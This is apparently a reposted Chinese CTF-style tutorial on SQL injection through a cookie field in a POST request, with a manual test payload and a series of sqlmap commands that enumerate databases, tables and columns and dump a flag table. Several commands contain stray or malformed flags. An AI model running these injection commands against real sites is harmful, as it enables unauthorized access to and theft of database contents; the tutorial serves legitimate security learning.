sqlmap的post注入

目录

  1. sqlmap的POST注入
  2. cookie注入暴数据库

 POST注入

1.验证存在注入

正常数据包"cookie:user=user"修改"cookie:user=admin"后都会出现flag参数

验证Cookie: user=admin’ and ‘1’=1’报错,回显没有flag,说明这种情况就存在注入

2.复制post另存为1.txt文件

>>这里是修改cookie后进行注入的,那么要结合cookie注入来看post注入的原理,其实两个是要联合进行注入的,互不影响。

cookie注入

 所谓的POST注入是发送POST请就包进行注入,cookie注入是修改cookie信息进行伪装身份或者说是作为一个注入点进行渗透

1.暴数据库

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  --dbs

扫描二维码关注公众号,回复: 7089524 查看本文章

>>可以看到有四个数据库

POST文件1.txt这里要写文件位置如:/root/1.txt

cookie要写成:--cookie="user=admin"

 --string参数,用来来指定结果为true时页面所包含的字符,不包含这个字符的都会被判断为false:--string=“flag”表示正确时候回显flag这个单词

指定数据库类型:--dbms=mysql

暴数据库:--dbs

2.猜表

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee --tables

 

>>猜出employee数据库下有三个表

对特定的数据库进行猜表:-D  数据库名

猜表:--tables

其它的参数不变

3.表fllaagg中的列

>sqlmap -r 1.txt -p --cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee -T fllaagg --columns

猜列要指定数据库、表:-D  数据库   -T  数据表  

猜列:--columns

4.猜表中的字段

>sqlmap  -r  1.txt  -p - -cookie="user=admin" -p user --level 2 --string="flag" --dbms=mysql  -D employee -T fllaagg "flag" --dump

 

>>找到包含flag的字段

猜字段要指定数据库、表、内容:-D  数据库  -T  数据表   "内容"

猜字段:--dump

 同样的方法可以查看其它数据库、表的内容,注入点方法也是一样的,这里注入点为cookie修改数据后的数据包。如果本身POST数据包存在注入直接使用post注入,可以不用加cookie注入--cookie“user=admin”类似这样的参数。

猜你喜欢

转载自www.cnblogs.com/loopkep/p/11406765.html
今日推荐